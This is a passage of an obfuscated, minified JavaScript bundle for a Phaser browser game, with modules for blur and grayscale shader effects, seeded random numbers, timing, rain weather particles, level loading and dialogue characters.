(this['currentEffects']['blur']['strength'] = _0x2e0324); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x12cc65); } }); } ['onRequestBlurCancel'](_0x152473) { const _0x38f689 = this['currentEffects']['blur']; if (!_0x38f689) return; const _0x132d4d = this['scene']['tweens']['add']({ 'targets': { 'value': 0x1 }, 'value': 0x0, 'duration': _0x152473['disappearanceDurationMS'], 'ease': 'Linear', 'repeat': 0x0, 'yoyo': !0x1, 'onUpdate': _0x128d23 => { const _0x2cde32 = _0x128d23['getValue'](); _0x38f689['strength'] = _0x2cde32; }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x132d4d), this['gameContext']['getCamera']('main')['postFX']['remove'](_0x38f689), _0x38f689['destroy'](), this['currentEffects']['blur'] = null; } }); } } _0x48247e['PostFXComponent'] = _0x3f77f7; }, 0x7da: (_0x1f1c39, _0x4ae847) => { 'use strict'; Object['defineProperty'](_0x4ae847, '__esModule', { 'value': !0x0 }), _0x4ae847['GrayscalePostFX'] = void 0x0; class _0x55bde1 extends Phaser['Renderer']['WebGL']['Pipelines']['PostFXPipeline']{ ['uGrayscaleFactor'];['uVignetteIntensity']; constructor(_0x131ed0) { super({ 'game': _0x131ed0, 'name': 'GrayscalePostFX', 'fragShader': '\x0a\x20\x20\x20\x20\x20\x20\x20\x20precision\x20mediump\x20float;\x0a\x20\x20\x20\x20\x20\x20\x20\x20uniform\x20sampler2D\x20uMainSampler;\x0a\x20\x20\x20\x20\x20\x20\x20\x20uniform\x20vec2\x20uResolution;\x20//\x20Screen\x20resolution\x0a\x20\x20\x20\x20\x20\x20\x20\x20uniform\x20float\x20uGrayscaleFactor;\x20//\x20Grayscale\x20factor\x0a\x20\x20\x20\x20\x20\x20\x20\x20uniform\x20float\x20uGrainIntensityScale;\x20//\x20Grain\x20intensity\x20scale\x0a\x20\x20\x20\x20\x20\x20\x20\x20uniform\x20float\x20uBaseGrainIntensity;\x0a\x20\x20\x20\x20\x20\x20\x20\x20uniform\x20float\x20uTime;\x20//\x20Current\x20time\x20for\x20grain\x20effect\x0a\x20\x20\x20\x20\x20\x20\x20\x20uniform\x20float\x20uVignetteIntensity;\x20//\x20Vignette\x20intensity\x0a\x20\x20\x20\x20\x20\x20\x20\x20varying\x20vec2\x20outTexCoord;\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20float\x20noise(vec2\x20pos){\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20fract(sin(dot(pos.xy\x20,vec2(12.9898,78.233)))\x20*\x2043758.5453\x20+\x20uTime);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20void\x20main()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec4\x20texColor\x20=\x20texture2D(uMainSampler,\x20outTexCoord);\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20finalColor\x20=\x20texColor.rgb;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20//\x20Apply\x20grayscale\x20effect\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20gray\x20=\x20dot(finalColor,\x20vec3(0.299,\x200.587,\x200.114));\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20grayscaleColor\x20=\x20mix(finalColor,\x20vec3(gray),\x20uGrayscaleFactor);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20//\x20Apply\x20grain\x20effect\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20grainValue\x20=\x20noise(outTexCoord)\x20*\x20uBaseGrainIntensity\x20*\x20uGrainIntensityScale;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20grainEffect\x20=\x20grayscaleColor\x20-\x20vec3(grainValue);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20//\x20Apply\x20vignette\x20effect\x20only\x20if\x20uVignetteIntensity\x20is\x20not\x200\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(uVignetteIntensity\x20>\x200.0)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20distance\x20=\x20distance(outTexCoord,\x20vec2(0.5,\x200.5));\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20//\x20Modify\x20edge\x20calculations\x20to\x20make\x20transitions\x20smoother\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20edge1\x20=\x200.4\x20-\x200.3\x20*\x20uVignetteIntensity;\x20//\x20More\x20gradual\x20start\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20edge2\x20=\x201.0\x20-\x200.4\x20*\x20uVignetteIntensity;\x20//\x20More\x20gradual\x20end\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20vignette\x20=\x20smoothstep(edge1,\x20edge2,\x20distance);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20vignetteEffect\x20=\x20mix(grainEffect,\x20vec3(0.0),\x20vignette);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20finalColor\x20=\x20vignetteEffect;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20finalColor\x20=\x20grainEffect;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20//\x20Output\x20the\x20final\x20color\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20gl_FragColor\x20=\x20vec4(finalColor,\x20texColor.a);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20', 'uniforms': ['uMainSampler', 'uResolution', 'uGrayscaleFactor', 'uGrainIntensityScale', 'uBaseGrainIntensity', 'uTime', 'uVignetteIntensity'] }), this['uGrayscaleFactor'] = 0.05, this['uVignetteIntensity'] = 0x0; } ['onPreRender']() { this['set2f']('uResolution', this['game']['scale']['width'], this['game']['scale']['height']), this['set1f']('uTime', this['game']['getTime']() / 0x3e8), this['set1f']('uBaseGrainIntensity', 0.03), this['set1f']('uVignetteIntensity', this['uVignetteIntensity']), this['set1f']('uGrainIntensityScale', 1.5), this['set1f']('uGrayscaleFactor', this['uGrayscaleFactor']); } ['updateGrayscaleFactor'](_0x253359) { this['uGrayscaleFactor'] = _0x253359; } ['updateVignetteFactor'](_0x3ccfe1) { this['uVignetteIntensity'] = _0x3ccfe1; } } _0x4ae847['GrayscalePostFX'] = _0x55bde1; }, 0x1bed: (_0x16a295, _0x561209, _0x1ed87c) => { 'use strict'; Object['defineProperty'](_0x561209, '__esModule', { 'value': !0x0 }), _0x561209['IdProvider'] = void 0x0; const _0x5d4416 = _0x1ed87c(0x221b), _0x244af4 = _0x1ed87c(0x512), _0x9d439b = _0x1ed87c(0x5d3); _0x561209['IdProvider'] = class { ['ids'] = { [_0x5d4416['EProviderContext']['MAIN']]: 0x0, [_0x5d4416['EProviderContext']['FRONTEND_ONLY']]: 0x0, [_0x5d4416['EProviderContext']['SYSTEM']]: 0x0, [_0x5d4416['EProviderContext']['PERKS']]: 0x0 };['get'](_0x53054c) { return this['validate'](_0x53054c), this['ids'][_0x53054c]++; } ['validate'](_0x1738fc) { if ((0x0, _0x9d439b['runningAsBackend'])() && _0x1738fc === _0x5d4416['EProviderContext']['FRONTEND_ONLY']) throw new _0x244af4['InvalidArgumentError']('Frontend-only\x20ID\x20provider\x20cannot\x20be\x20used\x20on\x20the\x20backend'); } }; }, 0x221b: (_0x396813, _0x455703) => { 'use strict'; Object['defineProperty'](_0x455703, '__esModule', { 'value': !0x0 }), _0x455703['EProviderContext'] = void 0x0, function (_0xf37935) { _0xf37935['MAIN'] = 'main', _0xf37935['FRONTEND_ONLY'] = 'frontend_only', _0xf37935['PERKS'] = 'perks', _0xf37935['SYSTEM'] = 'system'; }(_0x455703['EProviderContext'] || (_0x455703['EProviderContext'] = {})); }, 0x1a39: function (_0x42ae68, _0x37a0a6, _0x469e2b) { 'use strict'; var _0xc2e125 = this && this['__importDefault'] || function (_0x52404f) { return _0x52404f && _0x52404f['__esModule'] ? _0x52404f : { 'default': _0x52404f }; }; Object['defineProperty'](_0x37a0a6, '__esModule', { 'value': !0x0 }), _0x37a0a6['RngProvider'] = void 0x0; const _0x20d854 = _0x469e2b(0x221b), _0x514520 = _0xc2e125(_0x469e2b(0x1ee2)), _0xe9104a = _0x469e2b(0x512), _0x42abf8 = _0x469e2b(0x5d3); _0x37a0a6['RngProvider'] = class { ['rngs'] = {}; constructor(_0x2d4f8a) { Object['keys'](_0x2d4f8a)['forEach'](_0xfa5ed8 => this['setupProvider'](_0xfa5ed8, _0x2d4f8a[_0xfa5ed8])); } ['getSeeds']() { return Object['values'](this['rngs'])['map'](_0x5889d6 => _0x5889d6['seedString']); } ['getRandomElement'](_0x4e661c, _0x141964) { if (this['validate'](_0x4e661c), Array['isArray'](_0x141964)) { const _0x47f1b7 = Math['floor'](this['rngs'][_0x4e661c]['randomSeed']['floatBetween'](0x0, _0x141964['length'])); return this['rngs'][_0x4e661c]['callCount']++, _0x141964[_0x47f1b7]; } return _0x141964; } ['getRandomFloat'](_0x1d808e, _0x52a4e1, _0x205f54) { this['validate'](_0x1d808e); const _0x369e03 = this['rngs'][_0x1d808e]['randomSeed']['floatBetween'](_0x52a4e1, _0x205f54); return this['rngs'][_0x1d808e]['callCount']++, _0x369e03; } ['getRandomInteger'](_0x306385, _0x37e4e2, _0x1121e9) { this['validate'](_0x306385); const _0x1ff1b2 = this['rngs'][_0x306385]['randomSeed']['intBetween'](_0x37e4e2, _0x1121e9); return this['rngs'][_0x306385]['callCount']++, _0x1ff1b2; } ['destroy']() { this['rngs'] = {}; } ['getStats']() { return JSON['stringify'](this['rngs']); } ['getRandomWeightedElement'](_0x16ff58, _0x4f837b) { this['validate'](_0x16ff58); const _0x5db6de = []; if (0x0 === _0x4f837b['length']) throw new _0xe9104a['InvalidArgumentError']('empty\x20weighted\x20table\x20supplied;\x20cannot\x20find\x20a\x20value'); const _0x2b14db = _0x4f837b['reduce']((_0xc05356, _0x4c655a) => (_0x5db6de['push']({ ..._0x4c655a, 'occurrences': _0xc05356 }), _0xc05356 += _0x4c655a['occurrences']), 0x0), _0x60d91d = this['getRandomInteger'](_0x16ff58, 0x0, _0x2b14db - 0x1); if (isNaN(_0x60d91d)) throw new _0xe9104a['InvalidArgumentError']('Could\x20not\x20create\x20target\x20random\x20value,\x20got\x20' + _0x60d91d + ',\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20total\x20value\x20of\x20' + _0x5db6de['length'] + '\x20weighted\x20entries\x20is\x20' + _0x2b14db); const _0x287883 = _0x5db6de['findIndex'](_0x2a573f => _0x60d91d < _0x2a573f['occurrences']); return _0x5db6de[-0x1 === _0x287883 ? _0x5db6de['length'] - 0x1 : _0x287883 - 0x1]; } ['createRandomElementSelector']() { let _0x20cf5f = null; return (_0xc3c2eb, _0x48889f) => { if (Array['isArray'](_0x48889f)) { if (0x2 === _0x48889f['length']) return _0x20cf5f = _0x48889f[0x0] === _0x20cf5f ? _0x48889f[0x1] : _0x48889f[0x0], _0x20cf5f; const _0x5124cc = _0x48889f['filter'](_0x15cb41 => _0x15cb41 !== _0x20cf5f); if (0x1 === _0x5124cc['length']) return _0x5124cc[0x0]; const _0x262bb3 = Math['floor'](this['rngs'][_0xc3c2eb]['randomSeed']['floatBetween'](0x0, _0x5124cc['length'])); return this['rngs'][_0xc3c2eb]['callCount']++, _0x20cf5f = _0x5124cc[_0x262bb3], _0x5124cc[_0x262bb3]; } return _0x48889f; }; } ['shuffle'](_0x2e76a4, _0x1c1ba8) { this['validate'](_0x2e76a4); const _0x4e037a = this['rngs'][_0x2e76a4]; for (let _0x460775 = _0x1c1ba8['length'] - 0x1; _0x460775 > 0x0; _0x460775--) { const _0x50b3e0 = Math['floor'](_0x4e037a['randomSeed']['floatBetween'](0x0, _0x460775 + 0x1)); _0x4e037a['callCount']++, [_0x1c1ba8[_0x460775], _0x1c1ba8[_0x50b3e0]] = [_0x1c1ba8[_0x50b3e0], _0x1c1ba8[_0x460775]]; } return _0x1c1ba8; } ['validate'](_0xe00552) { if ((0x0, _0x42abf8['runningAsBackend'])() && _0xe00552 === _0x20d854['EProviderContext']['FRONTEND_ONLY']) throw new _0xe9104a['InvalidArgumentError']('Frontend-only\x20random\x20generator\x20cannot\x20be\x20used\x20on\x20the\x20backend'); if (!Object['prototype']['hasOwnProperty']['call'](this['rngs'], _0xe00552)) throw new _0xe9104a['InvalidArgumentError']('There\x20is\x20no\x20seeded\x20random\x20generator\x20of\x20context\x20' + _0xe00552 + '.\x20Did\x20you\x20forget\x20to\x20setup\x20it\x20first?'); } ['setupProvider'](_0x5a0985, _0x5b020c) { this['rngs'][_0x5a0985] = { 'randomSeed': _0x514520['default']['create'](_0x5b020c), 'seedString': _0x5b020c, 'callCount': 0x0 }; } }; }, 0xde9: function (_0x45eb73, _0x1519c2, _0x48f7b8) { 'use strict'; var _0x40d380 = this && this['__importDefault'] || function (_0x4b55b3) { return _0x4b55b3 && _0x4b55b3['__esModule'] ? _0x4b55b3 : { 'default': _0x4b55b3 }; }; Object['defineProperty'](_0x1519c2, '__esModule', { 'value': !0x0 }), _0x1519c2['TimeProvider'] = void 0x0; const _0x48e47e = _0x40d380(_0x48f7b8(0xec0)), _0x4ef465 = _0x48f7b8(0x5d3); _0x1519c2['TimeProvider'] = class { ['currentEngineTime'] = 0x0;['currentRenderTime'] = 0x0;['delayPhysicsCallbacks'] = [];['delayRenderCallbacks'] = [];['frameCount'] = 0x0;['lastFPSUpdate'] = 0x0;['fps'] = 0x0;['callbackId'] = 0x0;['isDestroyed'] = !0x1;['start'](_0x3caa29) { this['currentRenderTime'] = _0x3caa29, this['currentEngineTime'] = _0x3caa29; } ['updatePhysicsTime'](_0x48e817) { if (this['isDestroyed']) return; this['currentEngineTime'] = new _0x48e47e['default'](this['currentEngineTime'])['plus'](new _0x48e47e['default'](_0x48e817))['toNumber'](); const _0x4cab3b = []; this['delayPhysicsCallbacks'] = Object['values'](this['delayPhysicsCallbacks'])['filter'](_0x9860a5 => !(this['currentEngineTime'] >= _0x9860a5['targetTime']) || (_0x4cab3b['push']([_0x9860a5['callback'], this['callbackId']++]), !0x1)), _0x4cab3b['forEach'](_0x20f6ca => { if (this['isDestroyed']) return; const [_0x644470, _0x29d99e] = _0x20f6ca; _0x644470(this['currentEngineTime']); }); } ['updateRenderTime'](_0x303bd4) { if (this['isDestroyed']) return; this['currentRenderTime'] = new _0x48e47e['default'](this['currentRenderTime'])['plus'](new _0x48e47e['default'](_0x303bd4))['toNumber'](); const _0x2b3296 = []; this['delayRenderCallbacks'] = Object['values'](this['delayRenderCallbacks'])['filter'](_0x15f913 => !(this['currentRenderTime'] >= _0x15f913['targetTime']) || (_0x2b3296['push']([_0x15f913['callback'], this['callbackId']++]), !0x1)), _0x2b3296['forEach'](_0x414d2c => { if (this['isDestroyed']) return; const [_0x38d203, _0x40e6ad] = _0x414d2c; _0x38d203(this['currentRenderTime']); }), this['updateFPS'](_0x303bd4); } ['getFPS']() { return this['fps']['toFixed'](0x2); } ['delayAction'](_0xe19607, _0x3090f2 = 0x0) { return this['performDelayPhysicsAction'](_0xe19607, _0x3090f2); } ['cancelDelayedAction'](_0x2be8a9) { this['delayPhysicsCallbacks'] = this['delayPhysicsCallbacks']['filter'](_0x5925d5 => _0x5925d5 !== _0x2be8a9), this['delayRenderCallbacks'] = this['delayRenderCallbacks']['filter'](_0x3361d2 => _0x3361d2 !== _0x2be8a9); } ['delayRenderAction'](_0x59e8d3, _0x265f25 = 0x0) { if ((0x0, _0x4ef465['runningAsBackend'])()) throw new Error('delayPromise\x20can\x20not\x20be\x20called\x20on\x20the\x20backend'); return this['performDelayRenderAction'](_0x59e8d3, _0x265f25); } ['delayPromise'](_0x150e63 = 0x0) { if ((0x0, _0x4ef465['runningAsBackend'])()) throw new Error('delayPromise\x20can\x20not\x20be\x20called\x20on\x20the\x20backend'); return new Promise((_0x2697be, _0x7f01b5) => { try { this['performDelayRenderAction'](() => _0x2697be(), _0x150e63); } catch (_0x43937f) { _0x7f01b5(_0x43937f); } }); } ['delayActionPromise'](_0x3a5ff2, _0x17ca45 = 0x0) { if ((0x0, _0x4ef465['runningAsBackend'])()) throw new Error('delayActionPromise\x20can\x20not\x20be\x20called\x20on\x20the\x20backend'); return new Promise((_0x18885f, _0x19f389) => { try { this['performDelayRenderAction'](() => { _0x3a5ff2(this['currentEngineTime']), _0x18885f(); }, _0x17ca45); } catch (_0x14f4b5) { _0x19f389(_0x14f4b5); } }); } ['getStats']() { return this['currentEngineTime'] + '|' + this['currentRenderTime']; } ['destroy']() { this['delayPhysicsCallbacks'] = [], this['delayRenderCallbacks'] = [], this['isDestroyed'] = !0x0; } ['updateFPS'](_0x2c2d37) { this['frameCount']++; const _0x426a61 = this['currentRenderTime'], _0xbbbb7e = _0x426a61 - this['lastFPSUpdate']; _0xbbbb7e >= 0x3e8 && (this['fps'] = this['frameCount'] / (_0xbbbb7e / 0x3e8), this['frameCount'] = 0x0, this['lastFPSUpdate'] = _0x426a61); } ['performDelayPhysicsAction'](_0x5b3a00, _0x5e121b = 0x0) { if (this['isDestroyed']) return { 'callback': () => { }, 'targetTime': 0x0 }; const _0xb21544 = { 'callback': _0x5b3a00, 'targetTime': new _0x48e47e['default'](this['currentEngineTime'])['plus'](new _0x48e47e['default'](_0x5e121b))['toNumber']() }; return this['delayPhysicsCallbacks']['push'](_0xb21544), _0xb21544; } ['performDelayRenderAction'](_0x34e184, _0x166421 = 0x0) { if (this['isDestroyed']) return { 'callback': () => { }, 'targetTime': 0x0 }; const _0x17b967 = { 'callback': _0x34e184, 'targetTime': new _0x48e47e['default'](this['currentRenderTime'])['plus'](new _0x48e47e['default'](_0x166421))['toNumber']() }; return this['delayRenderCallbacks']['push'](_0x17b967), _0x17b967; } }; }, 0x23e1: (_0xe8639f, _0x49314f, _0x227655) => { 'use strict'; Object['defineProperty'](_0x49314f, '__esModule', { 'value': !0x0 }), _0x49314f['WeatherRenderComponent'] = void 0x0; const _0x5001f3 = _0x227655(0x221b), _0x70bcc2 = _0x227655(0xb35), _0x171460 = _0x227655(0xf18), _0x2245e9 = _0x227655(0x1709); class _0x25ced7 extends _0x2245e9['SceneComponent']{ ['rainEmitter'];['currentEmitterConfig'];['onCreate']() { switch (this['gameContext']['getCurrentLevelConfig']()['rawLevelConfig']['weather']) { case 'rain': this['setupRain'](); break; case 'windNight': this['setupWindNight'](); break; default: this['setupWind'](); } } ['updateFeatures'](_0xf19a5c) { if ('rain' === this['gameContext']['getCurrentLevelConfig']()['rawLevelConfig']['weather']) this['updateRain'](_0xf19a5c); } ['setupRain']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'sceneAmbienceRain', 'position': { 'x': 0x0, 'y': 0x0 }, 'persistent': !0x0 } }); const _0x322ec5 = this['scene']['data']['get']('tileMap'), _0x44220e = []; _0x322ec5['objects']['find'](_0x2d6f16 => 'Collision\x20Layer' === _0x2d6f16['name'])?.['objects']['forEach'](_0x3b2018 => { let _0x1ba563; _0x3b2018['rectangle'] ? _0x1ba563 = new Phaser['Geom']['Rectangle'](_0x3b2018['x'], _0x3b2018['y'], _0x3b2018['width'], _0x3b2018['height']) : 0x3 === (_0x3b2018['polygon'] && _0x3b2018['polygon']['length'] || 0x0) && (_0x1ba563 = new Phaser['Geom']['Polygon'](_0x3b2018['polygon']['map'](_0x24d42c => new Phaser['Geom']['Point'](_0x24d42c['x'] + _0x3b2018['x'], _0x24d42c['y'] + _0x3b2018['y'])))), _0x1ba563 && _0x44220e['push'](_0x1ba563); }); const _0x150246 = this['scene']['add']['particles'](0x0, 0x0, 'atlas/particle_add', { 'frame': 'line_200_fade', 'speed': { 'min': 0x7d0, 'max': 0x7d0 }, 'scaleY': 0x3, 'scaleX': 0.6, 'alpha': { 'start': 0.4, 'end': 0x0 }, 'lifespan': 0x578, 'angle': 0x69, 'x': { 'min': 0x0, 'max': this['gameContext']['getCurrentLevelConfig']()['tilesHorizontal'] * _0x70bcc2['PhysicsConfig']['TILE_SIZE'] }, 'y': { 'min': 0x0, 'max': this['gameContext']['getCurrentLevelConfig']()['tilesVertical'] * _0x70bcc2['PhysicsConfig']['TILE_SIZE'] }, 'rotate': 0xf, 'quantity': 0x28, 'maxAliveParticles': 0x1f4 }); _0x150246['addDeathZone'](_0x44220e), _0x150246['setDepth'](_0x171460['LAYER_DEPTHS']['WEATHER']), _0x150246['setBlendMode'](Phaser['BlendModes']['ADD']); const _0x46d509 = this['scene']['add']['particles'](0x0, 0x0, 'atlas/particle_add', { 'frame': 'splash_1', 'speed': { 'min': 0x0, 'max': 0x0 }, 'scale': { 'min': 0.3, 'max': 0.6 }, 'alpha': { 'start': 0.4, 'end': 0x0 }, 'lifespan': 0x32, 'angle': 0x0, 'quantity': 0x0, 'maxAliveParticles': 0x1f4 }); _0x46d509['setDepth'](_0x171460['LAYER_DEPTHS']['WEATHER']), _0x46d509['setBlendMode'](Phaser['BlendModes']['ADD']), _0x150246['onParticleDeath'](_0x1bfeda => { _0x46d509['emitParticle'](0x1, _0x1bfeda['x'], _0x1bfeda['y'] - 0x1e); }), this['rainEmitter'] = _0x150246; } ['updateRain'](_0x398345) { 0x0 === this['gameContext']['rngProvider']['getRandomInteger'](_0x5001f3['EProviderContext']['FRONTEND_ONLY'], 0x0, 0x64) && this['rainEmitter']['setQuantity'](Math['min'](Math['max'](this['rainEmitter']['quantity'] + this['gameContext']['rngProvider']['getRandomInteger'](_0x5001f3['EProviderContext']['FRONTEND_ONLY'], -0x5, 0x5), 0x32), 0x5a)); } ['setupWind']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'sceneAmbienceWind', 'position': { 'x': 0x0, 'y': 0x0 }, 'persistent': !0x0 } }); } ['setupWindNight']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'sceneAmbienceWindNight', 'position': { 'x': 0x0, 'y': 0x0 }, 'persistent': !0x0 } }); } } _0x49314f['WeatherRenderComponent'] = _0x25ced7; }, 0x188: (_0x502b01, _0x30c4dd, _0x4c0c1c) => { 'use strict'; Object['defineProperty'](_0x30c4dd, '__esModule', { 'value': !0x0 }), _0x30c4dd['createLevelLoader'] = void 0x0; const _0x7f93b2 = _0x4c0c1c(0x14a4), _0x21960c = _0x4c0c1c(0x2347), _0x4a4b9c = _0x4c0c1c(0x19f5); _0x30c4dd['createLevelLoader'] = function (_0x3abf50) { const _0x1cac52 = [new _0x7f93b2['LoadLevelComponent']({ 'level': _0x3abf50['level'] })]; return new _0x4a4b9c['Scene']({ 'gameMessageBus': _0x3abf50['gameMessageBus'], 'gameContext': _0x3abf50['gameContext'], 'components': _0x1cac52, 'model': { ..._0x21960c['sceneModel'] }, 'name': 'LEVEL_LOADER' }); }; }, 0x14a4: function (_0x4247ab, _0x19a7fc, _0x4a990f) { 'use strict'; var _0x20984b = this && this['__createBinding'] || (Object['create'] ? function (_0x1cbb38, _0x42ead9, _0x5796ef, _0x40012c) { void 0x0 === _0x40012c && (_0x40012c = _0x5796ef); var _0x509048 = Object['getOwnPropertyDescriptor'](_0x42ead9, _0x5796ef); _0x509048 && !('get' in _0x509048 ? !_0x42ead9['__esModule'] : _0x509048['writable'] || _0x509048['configurable']) || (_0x509048 = { 'enumerable': !0x0, 'get': function () { return _0x42ead9[_0x5796ef]; } }), Object['defineProperty'](_0x1cbb38, _0x40012c, _0x509048); } : function (_0x273fe9, _0x2517be, _0x2eb11a, _0x27c42d) { void 0x0 === _0x27c42d && (_0x27c42d = _0x2eb11a), _0x273fe9[_0x27c42d] = _0x2517be[_0x2eb11a]; }), _0x4b9e84 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x10fdb4, _0x14c8a6) { Object['defineProperty'](_0x10fdb4, 'default', { 'enumerable': !0x0, 'value': _0x14c8a6 }); } : function (_0x278747, _0x468294) { _0x278747['default'] = _0x468294; }), _0x45d4d9 = this && this['__importStar'] || function (_0x4df967) { if (_0x4df967 && _0x4df967['__esModule']) return _0x4df967; var _0x4b73e4 = {}; if (null != _0x4df967) { for (var _0x185e64 in _0x4df967) 'default' !== _0x185e64 && Object['prototype']['hasOwnProperty']['call'](_0x4df967, _0x185e64) && _0x20984b(_0x4b73e4, _0x4df967, _0x185e64); } return _0x4b9e84(_0x4b73e4, _0x4df967), _0x4b73e4; }; Object['defineProperty'](_0x19a7fc, '__esModule', { 'value': !0x0 }), _0x19a7fc['LoadLevelComponent'] = void 0x0; const _0x10f1fe = _0x4a990f(0x1709), _0x7b1684 = _0x45d4d9(_0x4a990f(0x2637)), _0x8602b1 = (_0x45d4d9(_0x4a990f(0x1d5d)), { 'mapDataPath': 'map/{placeholder}/map.json', 'mapConfigPath': 'map/{placeholder}/config.json' }); class _0x43ee2f extends _0x10f1fe['SceneComponent']{ constructor(_0x1bb7bc) { super(_0x1bb7bc); } ['onPreload']() { this['preloadMap']({ ..._0x8602b1, ..._0x7b1684 }, this['config']['level']); } ['onCreate']() { this['saveLevelDataToGameContext'](), this['scene']['destroy'](); } ['preloadMap'](_0x416181, _0x229f82) { this['scene']['cache']['addCustom']('mapInfo'), this['scene']['cache']['tilemap']['remove'](this['scene']['cache']['json']['get']('mapConfig')?.['mapName']), this['scene']['cache']['json']['remove']('mapData'), this['scene']['cache']['json']['remove']('mapConfig'), this['scene']['cache']['custom']['mapInfo']['remove']('level'), this['scene']['load']['json']('mapData', _0x416181['mapDataPath']['replace']('{placeholder}', _0x229f82)), this['scene']['load']['json']('mapConfig', _0x416181['mapConfigPath']['replace']('{placeholder}', _0x229f82)), this['scene']['cache']['custom']['mapInfo']['add']('level', _0x229f82); } ['saveLevelDataToGameContext']() { const _0x2041ee = this['scene']['cache']['json']['get']('mapData'), _0x41a164 = this['scene']['cache']['json']['get']('mapConfig'); if (!_0x2041ee || !_0x41a164) { const _0x5d91ff = this['scene']['cache']['custom']['mapInfo']['get']('level'); throw new Error('Did\x20not\x20find\x20level\x20data\x20or\x20config\x20for\x20level\x20' + _0x5d91ff + '.\x20Check\x20other\x20errors\x20for\x20details.\x0aLocalStorage\x20level\x20cache\x20has\x20been\x20cleared.\x20Reload\x20the\x20game\x20to\x20start\x20with\x20default\x20map.'); } this['gameContext']['setupLevelConfig']({ 'name': _0x41a164['mapName'], 'tilesHorizontal': _0x2041ee['width'], 'tilesVertical': _0x2041ee['height'], 'rawLevelConfig': _0x41a164, 'rawLevelData': _0x2041ee }), this['gameMessageBus']['publish']('levelLoadingComplete'); } } _0x19a7fc['LoadLevelComponent'] = _0x43ee2f; }, 0x2ec: (_0x56cd41, _0x37736b, _0x29adee) => { 'use strict'; Object['defineProperty'](_0x37736b, '__esModule', { 'value': !0x0 }), _0x37736b['loadConnectionConfig'] = void 0x0, _0x37736b['loadConnectionConfig'] = async function () { let _0x164b01; return _0x164b01 = (await Promise['resolve']()['then'](_0x29adee['t']['bind'](_0x29adee, 0x2637, 0x13)))['default'], _0x164b01; }; }, 0x1a21: (_0x37cb75, _0x4072af, _0x4d26d0) => { 'use strict'; Object['defineProperty'](_0x4072af, '__esModule', { 'value': !0x0 }), _0x4072af['CharactersElement'] = void 0x0; const _0x38e0c4 = _0x4d26d0(0x9c1), _0x2ed6c5 = _0x4d26d0(0xcc9), _0x143134 = _0x4d26d0(0x1724); class _0x16f31f extends _0x143134['UiElement']{ ['leftCharacter'];['rightCharacter']; constructor(_0x11d5a0) { super(_0x11d5a0), this['createElement'](); } ['destroy']() { this['leftCharacter']?.['sprite']['destroy'](), this['rightCharacter']?.['sprite']['destroy'](), this['element']?.['destroy'](); } ['beginDialogue'](_0x55c63c) { const _0x933223 = this['gameContext']['getDialogueConfig'](_0x55c63c['dialogueConfigPath']); this['setupCharacter'](_0x933223['leftCharacterAnimationPath'], _0x2ed6c5['ECharacterSpeaking']['LEFT']), this['setupCharacter'](_0x933223['rightCharacterAnimationPath'], _0x2ed6c5['ECharacterSpeaking']['RIGHT']); } ['characterMoveInEffect'](_0x49c314, _0x3ac865) { return new Promise(_0x14ac01 => { const _0x15f5ef = _0x49c314 === _0x2ed6c5['ECharacterSpeaking']['LEFT'] ? this['leftCharacter'] : this['rightCharacter'], _0x4ba368 = 0.1 * this['scene']['scale']['width'], _0xd00bd1 = _0x15f5ef['sprite']['x'], _0xfa036a = _0x49c314 === _0x2ed6c5['ECharacterSpeaking']['LEFT'] ? -0x1 : 0x1; _0x15f5ef['sprite']['visible'] = !0x0, _0x15f5ef['sprite']['alpha'] = 0x0, _0x15f5ef['sprite']['x'] = _0xd00bd1 + _0x4ba368 * _0xfa036a; const _0x1d46d0 = 